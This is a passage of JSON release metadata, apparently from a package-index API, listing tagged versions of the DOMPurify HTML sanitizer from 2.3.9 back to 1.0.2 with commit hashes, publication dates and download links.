https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.9/manifests","release_url":null},{"name":"2.3.8","sha":"dc6db2c34727a8dd2a9c678cc64c5602d1ac6e94","kind":"commit","published_at":"2022-05-13T13:51:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.8/manifests","release_url":null},{"name":"2.3.6","sha":"c84f6e4bb87b05f68ccf0ab471c97b80955779e9","kind":"commit","published_at":"2022-02-16T07:16:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.6/manifests","release_url":null},{"name":"2.3.5","sha":"8eab0ac78cdd59fd089e2c6f173880465f45da6a","kind":"commit","published_at":"2022-01-26T14:00:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.5/manifests","release_url":null},{"name":"2.3.4","sha":"fff1bd56ba984c7bc24ff9445b39ad775a00857e","kind":"commit","published_at":"2021-12-07T14:27:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.4/manifests","release_url":null},{"name":"2.3.3","sha":"7fbe07c632906a7ca3b9534fc00e7c12ce2e25e9","kind":"commit","published_at":"2021-09-20T12:27:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.3/manifests","release_url":null},{"name":"2.3.2","sha":"6fb973e4e58eca14830c980f0e8d98da09ef2ef2","kind":"commit","published_at":"2021-09-15T15:20:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.2/manifests","release_url":null},{"name":"2.3.1","sha":"6cfcdf56269b892550af80baa7c1fa5b680e5db7","kind":"commit","published_at":"2021-08-13T14:43:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.1/manifests","release_url":null},{"name":"2.3.0","sha":"e15ae1e91e0ffb469f3e10131f05e53e29e9bd7e","kind":"commit","published_at":"2021-07-06T10:23:48.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.0/manifests","release_url":null},{"name":"2.2.9","sha":"9de5b19e5d701db408318df0f2935c74b25b7b09","kind":"commit","published_at":"2021-06-01T10:31:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.9/manifests","release_url":null},{"name":"2.2.8","sha":"1bf9e2a4b0dae8b2dea57fe97cf110d5b07cd494","kind":"commit","published_at":"2021-04-28T07:42:09.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.8/manifests","release_url":null},{"name":"2.2.7","sha":"a9ad5be0fc28e523a07cfca72e58829cecfd491a","kind":"commit","published_at":"2021-03-12T15:19:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.7/manifests","release_url":null},{"name":"2.2.6","sha":"b11cb72fd45b9489ad989517e22b6141743a9fa3","kind":"commit","published_at":"2020-12-18T15:12:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.6/manifests","release_url":null},{"name":"2.2.4","sha":"499b3bbe44e316449b6a05afb655391a9d55cee9","kind":"commit","published_at":"2020-12-15T16:33:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.4/manifests","release_url":null},{"name":"2.2.3","sha":"e7086f7e40362923db596dce284c689e8db5faec","kind":"commit","published_at":"2020-12-07T13:25:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.3/manifests","release_url":null},{"name":"2.2.2","sha":"7923e106c3ccfd0315ec008d5793976099baeabd","kind":"commit","published_at":"2020-11-02T20:01:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.2/manifests","release_url":null},{"name":"2.2.0","sha":"0e31dce1cb7b3da5305e09b502a576d80457bde2","kind":"commit","published_at":"2020-10-21T07:24:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.2.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.2.0/manifests","release_url":null},{"name":"2.1.1","sha":"32b3241855857b0825d964b1871778bde5bab0fa","kind":"commit","published_at":"2020-09-25T11:12:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.1.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.1/manifests","release_url":null},{"name":"2.1.0","sha":"1f1c1193685dc1654dcc2b3cc1d993859a1375c8","kind":"commit","published_at":"2020-09-23T08:32:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.1.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.1.0/manifests","release_url":null},{"name":"2.0.17","sha":"f04574b5c1761ace5fa4c60f3e452c0c2eb02ff4","kind":"commit","published_at":"2020-09-20T08:43:26.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.17","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.17/manifests","release_url":null},{"name":"2.0.16","sha":"63061bf434836904e73404682ad6fe1e64f8e09d","kind":"commit","published_at":"2020-09-18T12:23:32.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.16","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.16/manifests","release_url":null},{"name":"2.0.15","sha":"c025bc8070a5a8fc2c5550d177a4130d45691b94","kind":"commit","published_at":"2020-09-03T10:06:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.15","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.15/manifests","release_url":null},{"name":"2.0.14","sha":"77a7fe730250f1171368c4a0d8f54f5edf4e02a1","kind":"commit","published_at":"2020-08-27T20:59:21.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.14","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.14/manifests","release_url":null},{"name":"2.0.13","sha":"7491db173013b098402e1f073a20c79e2dc03010","kind":"commit","published_at":"2020-08-27T14:38:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.13","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.13/manifests","release_url":null},{"name":"2.0.12","sha":"05bf3fc4dce98b0f182b8b988f9d39264144b3be","kind":"commit","published_at":"2020-06-24T14:28:20.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.12/manifests","release_url":null},{"name":"2.0.11","sha":"afefcdd27805f707d29f20317b8fa18007b1e169","kind":"commit","published_at":"2020-05-06T17:06:46.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.11/manifests","release_url":null},{"name":"2.0.10","sha":"32fba332eec78b9fd79187cb9d23d3a13f412271","kind":"commit","published_at":"2020-04-23T11:53:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.10/manifests","release_url":null},{"name":"2.0.9","sha":"22ea2c2b3a032a3e0c0ce6e9f424c18b8480a9b8","kind":"commit","published_at":"2020-04-22T14:38:06.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.9/manifests","release_url":null},{"name":"2.0.8","sha":"211f0c899136145c3ecc8df4bfff1548946263e2","kind":"commit","published_at":"2020-02-01T18:15:50.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.8/manifests","release_url":null},{"name":"2.0.7","sha":"da4663394f59cfbd313996b858cf499689be76c3","kind":"commit","published_at":"2019-10-21T09:54:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.7/manifests","release_url":null},{"name":"2.0.6","sha":"7acc4c3ed529c31b9632cb5784b3ddd50c32b4f4","kind":"commit","published_at":"2019-10-10T08:40:35.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.6/manifests","release_url":null},{"name":"2.0.5","sha":"64fe2f0a94a7b639eb92f247f712362f53593569","kind":"commit","published_at":"2019-10-08T08:34:42.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.5/manifests","release_url":null},{"name":"2.0.4","sha":"5476eb9cf075a6621e81b3bf2ce576bbf7701640","kind":"commit","published_at":"2019-10-07T13:20:12.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.4/manifests","release_url":null},{"name":"2.0.3","sha":"d16ba745e2aa7ebb430c7cb87a35581162a2a08e","kind":"commit","published_at":"2019-09-25T12:04:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.3/manifests","release_url":null},{"name":"2.0.2","sha":"ffac2ce28b3f79cc2fc0673020534236edd5ad7b","kind":"commit","published_at":"2019-09-23T06:42:04.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.2/manifests","release_url":null},{"name":"2.0.1","sha":"4c8ca9db5b4b2a79ed6c779ac6f22587ba16a3e1","kind":"commit","published_at":"2019-09-19T09:09:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.1/manifests","release_url":null},{"name":"2.0.0","sha":"41766f5527233fc378b49a4d11b3ad9dc5775882","kind":"commit","published_at":"2019-09-12T16:35:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.0.0/manifests","release_url":null},{"name":"1.0.11","sha":"3c1c0d7e11cda896b0c69cf82e0ca6e0c0e7dd38","kind":"commit","published_at":"2019-06-18T13:33:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.11/manifests","release_url":null},{"name":"1.0.10","sha":"b537cab466329b1b077e0e5e3c14edad2b7142f7","kind":"commit","published_at":"2019-02-19T13:27:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.10/manifests","release_url":null},{"name":"1.0.9","sha":"b06b6b2ac8605b88e08ff36f895097fde8c9e8f5","kind":"commit","published_at":"2019-01-14T08:58:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.9/manifests","release_url":null},{"name":"1.0.8","sha":"26e6a292cf80ad21afc07de4b4b6b9bd7940ea2c","kind":"commit","published_at":"2018-09-08T14:13:40.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.8/manifests","release_url":null},{"name":"1.0.7","sha":"7e8d6b75cf0f8486509538120cc1cd28c7d70273","kind":"commit","published_at":"2018-07-29T14:20:08.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.7/manifests","release_url":null},{"name":"1.0.6","sha":"fcf8bffeab97bc1d2d60f4ff41b94e4f40463d3c","kind":"commit","published_at":"2018-07-16T12:17:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.6/manifests","release_url":null},{"name":"1.0.5","sha":"3553b54c883197a51213a178e3584ae0a7e777cf","kind":"commit","published_at":"2018-06-16T13:26:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.5/manifests","release_url":null},{"name":"1.0.4","sha":"e7a1c316269bc0f6dd2698c3a7571bc4b561d892","kind":"commit","published_at":"2018-04-28T12:57:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.4/manifests","release_url":null},{"name":"1.0.3","sha":"ee5d83849103046da62ef8439d3ecac564761615","kind":"commit","published_at":"2017-12-08T10:55:28.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/1.0.3/manifests","release_url":null},{"name":"1.0.2","sha":"7ba76fe0d11b5b75485fdeedcf1dbb9050c66ac0","kind":"commit","published_at":"2017-08-25T14:19:57.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/1.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1